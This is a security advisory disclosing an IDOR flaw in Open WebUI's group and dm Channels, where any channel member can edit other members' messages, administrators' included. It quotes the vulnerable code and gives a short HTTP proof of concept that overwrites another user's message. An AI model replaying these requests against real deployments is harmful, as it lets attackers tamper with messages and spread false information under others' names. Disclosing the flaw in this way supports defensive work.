PT-2026-59407 · Pypi · Open-Webui

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

4.3

Medium

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary

An IDOR vulnerability exists in the Channels feature of Open WebUI, allowing any channel member to modify messages sent by other members (including administrators) within the same channel. This vulnerability affects the latest version (v0.8.12) of Open WebUI.

Details

In the update message by id function, for group or dm type channels, only the caller's membership in the channel is checked via the is user channel member function, without verifying message ownership. This allows any channel member to modify messages sent by other members within the same channel. The problematic code is as follows [(https://github.com/open-webui/open-webui/blob/main/backend/open webui/routers/channels.py#L1355)](https://github.com/open-webui/open-webui/blob/main/backend/open webui/routers/channels.py#L1355) :
python
if channel.type in ['group', 'dm']:
  if not Channels.is user channel member(channel.id, user.id, db=db):
    raise HTTPException(status code=status.HTTP 403 FORBIDDEN, detail=ERROR MESSAGES.DEFAULT())
else:
  if (
    user.role != 'admin'
    and message.user id != user.id
    and not channel has access(user.id, channel, permission='write', strict=False, db=db)
  ):
    raise HTTPException(status code=status.HTTP 403 FORBIDDEN, detail=ERROR MESSAGES.DEFAULT())

try:
  message = Messages.update message by id(message id, form data, db=db)
Non-group/dm types include a check for the user ID, while the group/dm type clearly lacks this verification.

PoC

The Channels feature is disabled by default and can be enabled first through the admin interface. image
Create a group type channel with members including users test1 and test2.
POST /api/v1/channels/create HTTP/1.1
Content-Type: application/json

{
 "name": "idor-test-group",
 "type": "group",
 "user ids": [
  "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
  "b9997496-ff80-4c30-a366-95474f85e62b"
 ]
}
User test2 sends a message in the channel.
POST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/post HTTP/1.1
Content-Type: application/json
Authorization: Bearer <test2 token>

{"content":"This is test2 secret message"}
User test1 can directly modify the message that test2 just sent.
POST /api/v1/channels/9cff5240-6b22-4c85-bf74-b8dbfe471b16/messages/e0824c09-5712-4400-9b7a-b08eefcf15d3/update HTTP/1.1
Content-Type: application/json
Authorization: Bearer <test1 token>

{"content":"HACKED BY TEST1 - message tampered!"}
image
Messages sent by administrators can also be modified.
image

Impact

Malicious users can arbitrarily tamper with messages published by other users (including administrators), allowing them to disseminate false information.

Suggested Fix

Add a message ownership check in the group/dm branch of channels.py.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-2767

Affected Products

Open-Webui